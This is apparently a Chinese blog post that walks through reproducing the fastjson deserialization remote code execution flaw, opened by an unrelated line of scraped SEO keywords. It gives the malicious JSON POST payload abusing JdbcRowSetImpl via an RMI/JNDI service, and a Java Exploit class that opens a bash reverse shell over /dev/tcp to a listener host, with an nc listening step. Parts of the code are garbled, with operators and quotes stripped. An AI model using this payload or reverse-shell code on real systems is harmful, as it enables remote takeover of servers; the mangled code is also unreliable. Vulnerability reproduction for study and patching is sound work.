京东网站建设的详细策划,重庆建筑公司排名,广州十大游戏公司,做调研的网站一般有哪些fastjson远程代码执行
漏洞原因#xff1a;fastjson在对json字符串反序列化的时候#xff0c;会读取到type的内容#xff0c;将json内容反序列化为java对象并调用这个类的setter方法。
1、搭建rmi服务
直接利用jndi-exploit工具
2、抓包改为POST。开启nc监听、发包
PO…fastjson远程代码执行
漏洞原因fastjson在对json字符串反序列化的时候会读取到type的内容将json内容反序列化为java对象并调用这个类的setter方法。
1、搭建rmi服务
直接利用jndi-exploit工具
2、抓包改为POST。开启nc监听、发包
POST的json数据
Content-Type: application/json
Content-Length: 你的数据长度{a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:开的RMI服务,autoCommit:true}
}这里响应400不用管环境原因。vps上看到反弹shell是收到了的 收到shell
使用恶意文件反弹shell过程
// javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;public class Exploit {static {try {Runtime rt Runtime.getRuntime();String[] commands {/bin/bash,-c,bash -i /dev/tcp/192.168.200.131/7777 01};Process pc rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}具体过程和log4j2一样。 可以看看上一篇文章 log4j2漏洞复现